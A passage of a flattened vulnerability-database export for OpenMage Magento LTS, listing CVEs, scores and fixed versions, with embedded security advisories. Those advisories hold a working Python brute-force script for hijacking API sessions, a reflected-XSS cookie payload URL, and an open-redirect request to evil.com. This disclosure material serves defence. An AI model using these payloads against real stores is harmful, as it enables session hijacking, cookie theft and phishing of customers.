url https://api.first.org/data/v1/epss?cve=CVE-2020-26295
1
reference_url https://nvd.nist.gov/vuln/detail/CVE-2020-26295
reference_id CVE-2020-26295
reference_type
scores
url https://nvd.nist.gov/vuln/detail/CVE-2020-26295
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.10
purl pkg:composer/openmage/magento-lts@19.4.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b7ua-zfks-fyg5
8
vulnerability VCID-cbms-5g8f-wyg6
9
vulnerability VCID-dg5g-wnuf-ryad
10
vulnerability VCID-dj3k-4q1f-xfbh
11
vulnerability VCID-fken-twwj-gkaq
12
vulnerability VCID-g75g-ab3s-y7db
13
vulnerability VCID-gewj-4tzh-k3e5
14
vulnerability VCID-gn12-464m-fkcu
15
vulnerability VCID-h9n9-9mxj-zqd6
16
vulnerability VCID-jfan-uqf5-3qhd
17
vulnerability VCID-jr6u-gjtr-3udv
18
vulnerability VCID-kctp-3z8m-5fg2
19
vulnerability VCID-mdd4-wk6v-a3cw
20
vulnerability VCID-tqce-uume-myc2
21
vulnerability VCID-upex-64ca-uqbf
22
vulnerability VCID-xazc-hmj9-guas
23
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.10
1
url pkg:composer/openmage/magento-lts@20.0.5
purl pkg:composer/openmage/magento-lts@20.0.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9tvj-q7kh-7faz
6
vulnerability VCID-9ztp-ffqs-4yh4
7
vulnerability VCID-b33e-r7rr-pyf7
8
vulnerability VCID-b7ua-zfks-fyg5
9
vulnerability VCID-cbms-5g8f-wyg6
10
vulnerability VCID-dg5g-wnuf-ryad
11
vulnerability VCID-dj3k-4q1f-xfbh
12
vulnerability VCID-fken-twwj-gkaq
13
vulnerability VCID-g75g-ab3s-y7db
14
vulnerability VCID-gewj-4tzh-k3e5
15
vulnerability VCID-gn12-464m-fkcu
16
vulnerability VCID-h9n9-9mxj-zqd6
17
vulnerability VCID-jfan-uqf5-3qhd
18
vulnerability VCID-jr6u-gjtr-3udv
19
vulnerability VCID-kctp-3z8m-5fg2
20
vulnerability VCID-mdd4-wk6v-a3cw
21
vulnerability VCID-tqce-uume-myc2
22
vulnerability VCID-upex-64ca-uqbf
23
vulnerability VCID-xazc-hmj9-guas
24
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.5
aliases CVE-2020-26295, GHSA-52c6-6v3v-f3fg
risk_score null
exploitability 0.5
weighted_severity 0.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-nv23-eun4-1fdd
22
url VCID-tqce-uume-myc2
vulnerability_id VCID-tqce-uume-myc2
summary Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in openmage/magento-lts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-41231
reference_id
reference_type
scores
0
value 0.00992
scoring_system epss
scoring_elements 0.77275
published_at 2026-06-07T12:55:00Z
1
value 0.00992
scoring_system epss
scoring_elements 0.77286
published_at 2026-06-06T12:55:00Z
2
value 0.00992
scoring_system epss
scoring_elements 0.77276
published_at 2026-06-05T12:55:00Z
3
value 0.00992
scoring_system epss
scoring_elements 0.77266
published_at 2026-06-08T12:55:00Z
4
value 0.00992
scoring_system epss
scoring_elements 0.77245
published_at 2026-06-04T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-41231
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/d16fc6c5a1e66c6f0d9f82020f11702a7ddd78e4
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:15Z/
url https://github.com/OpenMage/magento-lts/commit/d16fc6c5a1e66c6f0d9f82020f11702a7ddd78e4
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:15Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:15Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-41231
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-41231
6
reference_url https://github.com/advisories/GHSA-h632-p764-pjqm
reference_id GHSA-h632-p764-pjqm
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h632-p764-pjqm
7
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-h632-p764-pjqm
reference_id GHSA-h632-p764-pjqm
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:15Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-h632-p764-pjqm
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.22
purl pkg:composer/openmage/magento-lts@19.4.22
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.22
1
url pkg:composer/openmage/magento-lts@20.0.19
purl pkg:composer/openmage/magento-lts@20.0.19
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.19
aliases CVE-2021-41231, GHSA-h632-p764-pjqm, GMS-2023-157
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-tqce-uume-myc2
23
url VCID-upex-64ca-uqbf
vulnerability_id VCID-upex-64ca-uqbf
summary
Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs
Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`)

Affected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method


## Summary

The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):

```php
The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):
```
All inputs to the MD5 hash are time-derived and non-secure:

| Input                      | Value                                             | Predictability                         |
|----------------------------|---------------------------------------------------|----------------------------------------|
| `time()`                   | Unix timestamp (seconds)                          | Fully predictable                      |
| `uniqid('', true) prefix`  | `sprintf('%08x%05x', $sec, $usec/10)`             | Highly predictable via network timing  |
| `uniqid('', true) suffix`  | `php_combined_lcg()` decimal float                | Process-state dependent (`getpid() ^ time()`) |
| `$sessionName`             | `null` (empty) — called without arg               | Constant                               |

Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.



## Technical Analysis

### Code Path

```
POST /api/xmlrpc/ → login(username, apiKey)
  → Mage_Api_Model_Session::login()
      → $session->init('api', 'api')
          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')
              # $sessionName is NOT forwarded to start()
              → Mage_Api_Model_Session::start()  ← NO $sessionName argument
                  # $sessionName = null inside start()
                  $this->_currentSessId = md5(time() . uniqid('', true) . null)

```

Note: `init()` receives `$sessionName='api'` but invokes `$this->start()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`.

## Live Evidence
Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec=  1775817593`):
```
Sample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)
Sample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)
Sample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)
Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)
Sample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)
```
The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.

<img width="772" height="506" alt="image" src="https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de" />

## Steps to Reproduce (Online Brute-Force Scenario)
Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.
### Step 1 – Record Login Timestamp
An attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.
### Step 2 – Generate Candidate Pool
The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).
```
$t = $observed_sec;
$usec_estimate = 500000; // Derived from latency
$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));
$candidate = md5($t . $uid); // + LCG variants
```
### Step 3 – API Brute-Force (Session Hijack)
Because the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.

```
POST /api/xmlrpc/
<?xml version="1.0"?>
<methodCall>
  <methodName>[magento.info](http://magento.info/)</methodName>
  <params>
    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>
  </params>
</methodCall>
```

A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.

<img width="1039" height="374" alt="image" src="https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849" />

## Impact
### Technical Impact
Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:
- Full product catalog read/write (`catalog_product.*`)
- Customer data read (`customer.list`, `customer.info`)
- Order manipulation (`sales_order.*`)
Inventory control (`cataloginventory_stock_item.*`)
### Business Impact

- **Data Exfiltration**: Read all customer PII, order history, and payment methods.
- **Order Fraud**: Create or cancel orders, change shipping addresses.
- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.

### Affected API Protocols

The same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:
- XML-RPC: `/api/xmlrpc/`
- SOAP v1: `/api/soap/`
- SOAP v2: `/api/v2_soap/`
- REST (legacy): `/api/rest/`

### Recommended Fix

Replace the time-derived token with a cryptographically secure random value:

```
// app/code/core/Mage/Api/Model/Session.php : start()
// BEFORE (vulnerable):
$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);

// AFTER (secure):
$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output
```
`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.

I have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment


I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):

```py
#!/usr/bin/env python3
import requests, re, sys, hashlib, random
from concurrent.futures import ThreadPoolExecutor, as_completed
import urllib3; urllib3.disable_warnings()

if len(sys.argv) < 4:
    sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]")

url, usr, pwd = sys.argv[1:4]
th = int(sys.argv[4]) if len(sys.argv) > 4 else 50
hdrs = {"Content-Type": "text/xml"}
req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)

print(f"[*] Simulating victim login for {usr}...")
res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')

if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):
    sys.exit("[-] Login failed. Check credentials.")

print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...")
cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)]
cands.append(m.group(1))
random.shuffle(cands)

print(f"[*] Brute-forcing API with {th} threads...")
def test(sid):
    payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'
    try: return sid if "faultCode" not in req(payload).text else None
    except: return None

with ThreadPoolExecutor(max_workers=th) as ex:
    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):
        sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}")
        if sid := f.result():
            print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}")
            ex.shutdown(wait=False, cancel_futures=True)
            break
```

This is an AI-generated report validated by a human.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42155
reference_id
reference_type
scores
0
value 0.00055
scoring_system epss
scoring_elements 0.17674
published_at 2026-06-06T12:55:00Z
1
value 0.00055
scoring_system epss
scoring_elements 0.17561
published_at 2026-06-08T12:55:00Z
2
value 0.00055
scoring_system epss
scoring_elements 0.17641
published_at 2026-06-07T12:55:00Z
3
value 0.00055
scoring_system epss
scoring_elements 0.1768
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42155
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 9.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr
reference_id
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
1
value 9.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-05-15T17:36:24Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-42155
reference_id
reference_type
scores
0
value 9.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-42155
4
reference_url https://github.com/advisories/GHSA-2cwr-gcf9-pvxr
reference_id GHSA-2cwr-gcf9-pvxr
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-2cwr-gcf9-pvxr
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.18.0
purl pkg:composer/openmage/magento-lts@20.18.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.18.0
aliases CVE-2026-42155, GHSA-2cwr-gcf9-pvxr
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-upex-64ca-uqbf
24
url VCID-xazc-hmj9-guas
vulnerability_id VCID-xazc-hmj9-guas
summary
Magento LTS: Reflected XSS - Import -> Data Flow (profiles)
A reflected XSS vulnerability was found under admin panel ->  System -> Import/Export -> Dataflow -  Profiles.

## Steps to produce

+ Login to  the admin panel 

+ Go to the path   `System -> Import/Export -> Dataflow -  Profiles`

+ Select profile direction as `Import`.

+ Click on `Import Customers` 

+ Upload the file.

File Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv)

+ Go back to `Run profile`.

+ Select the uploaded file and Click on `Run in Popup`.

+ One can see a URL like this 

```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/
```


+ One can see the filename getting reflection in HTML tags.

+ Inject an HTML tag and observe.

```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/
``` 

<img width="1796" height="302" alt="image (3)" src="https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a" />

+ One can see the tag is getting executed.

+  Proceed for XSS.

```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E
```

<img width="1670" height="562" alt="image (4)" src="https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d" />


+ There is an XSS popup.

## Impact

Cookie stealing, JS deface, many more
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42458
reference_id
reference_type
scores
0
value 0.00062
scoring_system epss
scoring_elements 0.19578
published_at 2026-06-05T12:55:00Z
1
value 0.00062
scoring_system epss
scoring_elements 0.1946
published_at 2026-06-08T12:55:00Z
2
value 0.00062
scoring_system epss
scoring_elements 0.19529
published_at 2026-06-07T12:55:00Z
3
value 0.00062
scoring_system epss
scoring_elements 0.19573
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42458
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c
reference_id
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-05-15T17:58:08Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-x8jv-q8j2-487c
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-42458
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-42458
4
reference_url https://github.com/advisories/GHSA-x8jv-q8j2-487c
reference_id GHSA-x8jv-q8j2-487c
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x8jv-q8j2-487c
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.18.0
purl pkg:composer/openmage/magento-lts@20.18.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.18.0
aliases CVE-2026-42458, GHSA-x8jv-q8j2-487c
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xazc-hmj9-guas
25
url VCID-xhm4-u8ax-wuew
vulnerability_id VCID-xhm4-u8ax-wuew
summary
Magento LTS Vulnerable to Open Redirect via Unvalidated `uenc` Parameter in `stockAction()`
## Summary
`Mage_ProductAlert_AddController::stockAction()` reads the uenc query parameter and passes it directly to `$this->_redirectUrl($backUrl)` without calling `$this->_isUrlInternal()` When the supplied `product_id` does not match any catalog product, the server issues an unvalidated HTTP 302 redirect to whatever URL was provided as `uenc`.

## Vulnerable path:

```php
// app/code/core/Mage/ProductAlert/controllers/AddController.php : stockAction()

$backUrl = $this->getRequest()->getParam(Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED);  // raw, no decode
$productId = (int) $this->getRequest()->getParam('product_id');

if (!$backUrl || !$productId) {
    $this->_redirect('/');
    return;
}

$product = Mage::getModel('catalog/product')->load($productId);

if (!$product->getId()) {
    $session->addError($this->__('Not enough parameters.'));
    $this->_redirectUrl($backUrl);   // ← NO _isUrlInternal() check
    return;
}
```

### Secure peer (priceAction()):

```php
if (!$product->getId()) {
    if ($this->_isUrlInternal($backUrl)) {  // ← validation present
        $this->_redirectUrl($backUrl);
    } else {
        $this->_redirect('/');
    }
    return;
}
```

## Steps to Reproduce

### Prerequisites
- OpenMage LTS ≤ 20.16.0 with Product Alerts enabled (default configuration)
- A valid, logged-in customer session on the target store

#### Step 1 – Authenticate as a Customer (Attacker controls the crafted link; victim must be logged in)

The `preDispatch()` hook calls `Mage::getSingleton('customer/session')->authenticate($this)`. If the request comes from an unauthenticated user, they are redirected to the login page first. The open redirect only fires after the customer is authenticated. This is the realistic attack scenario: the attacker sends a crafted link to a customer who is already logged in.

<img width="1548" height="638" alt="image" src="https://github.com/user-attachments/assets/64c18279-ec0a-4110-b8f4-d952870e348c" />

#### Step 2 – Craft the Malicious URL
The `uenc` parameter is read raw via `getParam()` with no base64 decoding in this code path. A plain URL is sufficient and produces the redirect:

```
GET /productalert/add/stock/?product_id=99999&uenc=https://evil.com/steal-credentials HTTP/1.1
Host: <store-hostname>
Cookie: om_frontend=<authenticated-session>
```

Key conditions:
- `product_id` must reference a non-existent product (triggers the vulnerable branch; any large ID works)
- `uenc` is the raw destination URL (no base64 encoding required)

<img width="1554" height="852" alt="image" src="https://github.com/user-attachments/assets/d8530247-2d2f-4747-bf16-ece71a507b50" />


## Impact

### Technical Impact
An attacker who controls the `uenc` parameter value can redirect any logged-in shopper to an arbitrary external URL. Because the redirect originates from the legitimate store domain, the victim’s browser shows the trusted store URL in the address bar momentarily before being sent to the attacker site. The HTTP 302 response exits the store’s origin before the browser shows anything to the user.

### Business-Level Attack Vectors
| Scenario                | Description                                                                 |
|------------------------|-----------------------------------------------------------------------------|
| Credential phishing    | Craft a link claiming to show a stock notification. Customer lands on attacker’s login clone and reuses their password. |
| OAuth / SSO token theft| If the store uses a social login or “Login with Google” flow, the attacker can inject their redirect_uri via the open redirect, stealing OAuth tokens. |
| Affiliate fraud        | Redirect customers from the legitimate store to a competing retailer after they click a “notify me” link. |
| Malware distribution   | Redirect to drive-by-download pages with the store’s reputation acting as social proof. |

### Propagation
A single malicious link can be embedded in:

- Customer emails (“Click here for stock notification preferences”)
- Forum posts, social media, or product reviews on the store
- SEO-poisoned search results that rank the store’s domain

## Recommended Fix
Apply the same `_isUrlInternal()` guard used in `priceAction()` to the `stockAction()` missing-product


This is an AI-generated report.

An attempt was made to test the same PoC against the online demo https://demo.openmage.org/ but it couldn't be reproduced. It was only reproduced against the local setup env against the latest version.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-42207
reference_id
reference_type
scores
0
value 0.00029
scoring_system epss
scoring_elements 0.08688
published_at 2026-06-08T12:55:00Z
1
value 0.00029
scoring_system epss
scoring_elements 0.0874
published_at 2026-06-05T12:55:00Z
2
value 0.00029
scoring_system epss
scoring_elements 0.08755
published_at 2026-06-06T12:55:00Z
3
value 0.00029
scoring_system epss
scoring_elements 0.08736
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-42207
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qpgq-5g92-j5q8
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qpgq-5g92-j5q8
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-42207
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-42207
4
reference_url https://github.com/advisories/GHSA-qpgq-5g92-j5q8
reference_id GHSA-qpgq-5g92-j5q8
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qpgq-5g92-j5q8
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.18.0
purl pkg:composer/openmage/magento-lts@20.18.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.18.0
aliases CVE-2026-42207, GHSA-qpgq-5g92-j5q8
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xhm4-u8ax-wuew
26
url VCID-zwm8-96yp-nben
vulnerability_id VCID-zwm8-96yp-nben
summary
Path Traversal
OpenMage is a community-driven alternative to Magento CE. The latest OpenMage Versions up from have this Issue solved
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-26285
reference_id
reference_type
scores
0
value 0.01874
scoring_system epss
scoring_elements 0.83469
published_at 2026-06-04T12:55:00Z
1
value 0.01874
scoring_system epss
scoring_elements 0.83493
published_at 2026-06-05T12:55:00Z
